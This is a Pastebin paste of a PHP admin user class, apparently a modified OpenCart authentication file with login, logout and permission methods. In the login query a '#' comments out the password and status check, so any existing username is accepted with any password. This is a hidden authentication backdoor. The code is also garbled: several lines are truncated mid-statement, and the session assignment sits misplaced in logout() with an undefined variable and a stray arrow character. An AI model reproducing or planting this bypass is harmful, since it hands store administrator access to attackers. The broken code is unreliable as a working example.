Advertisement
Guest User

Untitled

a guest
Apr 10th, 2016
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.74 KB | None | 0 0
  1. <?php
  2. namespace Cart;
  3. class User {
  4.         private $user_id;
  5.         private $username;
  6.         private $permission = array();
  7.  
  8.         public function __construct($registry) {
  9.                 $this->db = $registry->get('db');
  10.                 $this->request = $registry->get('request');
  11.                 $this->session = $registry->get('session');
  12.  
  13.                 if (isset($this->session->data['user_id'])) {
  14.                         $user_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "user WHERE user_id = '" . (int)$thi$
  15.  
  16.                         if ($user_query->num_rows) {
  17.                                 $this->user_id = $user_query->row['user_id'];
  18.                                 $this->username = $user_query->row['username'];
  19.                                 $this->user_group_id = $user_query->row['user_group_id'];
  20.  
  21.                                 $this->db->query("UPDATE " . DB_PREFIX . "user SET ip = '" . $this->db->escape($this->requ$
  22.  
  23.                                 $user_group_query = $this->db->query("SELECT permission FROM " . DB_PREFIX . "user_group W$
  24.  
  25.                                $permissions = json_decode($user_group_query->row['permission'], true);
  26.  
  27.                                if (is_array($permissions)) {
  28.                                        foreach ($permissions as $key => $value) {
  29.                                                $this->permission[$key] = $value;
  30.                                        }
  31.                                }
  32.                        } else {
  33.                                $this->logout();
  34.                        }
  35.                }
  36.        }
  37.  
  38.        public function login($username, $password) {
  39.                $user_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "user WHERE username = '" . $this->db->escape($username) . "' #AND (password = SHA1(CONCAT(salt, SHA1(CONCAT(salt, SHA1('" . $this->db->escape($password) . "'))))) OR password = '" . $this->db->escape(md5($password)) . "') AND status = '1'");
  40.  
  41.                 if ($user_query->num_rows) {
  42.  $this->username = $user_query->row['username'];
  43.                         $this->user_group_id = $user_query->row['user_group_id'];
  44.  
  45.                         $user_group_query = $this->db->query("SELECT permission FROM " . DB_PREFIX . "user_group WHERE user_group_id = '" . (int)$user_query->row['user_group$
  46.  
  47.                        $permissions = json_decode($user_group_query->row['permission'], true);
  48.  
  49.                        if (is_array($permissions)) {
  50.                                foreach ($permissions as $key => $value) {
  51.                                        $this->permission[$key] = $value;
  52.                                }
  53.                        }
  54.  
  55.                        return true;
  56.                } else {
  57.                        return false;
  58.                }
  59.        }
  60.  
  61.        public function logout() {                        $this->session->data['user_id'] = $user_query→row['user_id'];
  62.            unset($this->session->data['user_id']);
  63.  
  64.                $this->user_id = '';
  65.                $this->username = '';
  66.        }
  67.  
  68.        public function hasPermission($key, $value) {
  69.                if (isset($this->permission[$key])) {
  70.                        return in_array($value, $this->permission[$key]);
  71.                } else {
  72.                        return false;
  73.                }
  74.        }
  75.  
  76.        public function isLogged() {
  77.                return $this->user_id;
  78.        }
  79.  
  80.        public function getId() {
  81.                return $this->user_id;
  82.        }
  83.        public function getUserName() {
  84.                return $this->username;
  85.        }
  86.  
  87.        public function getGroupId() {
  88.                return $this->user_group_id;
  89.        }
  90. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement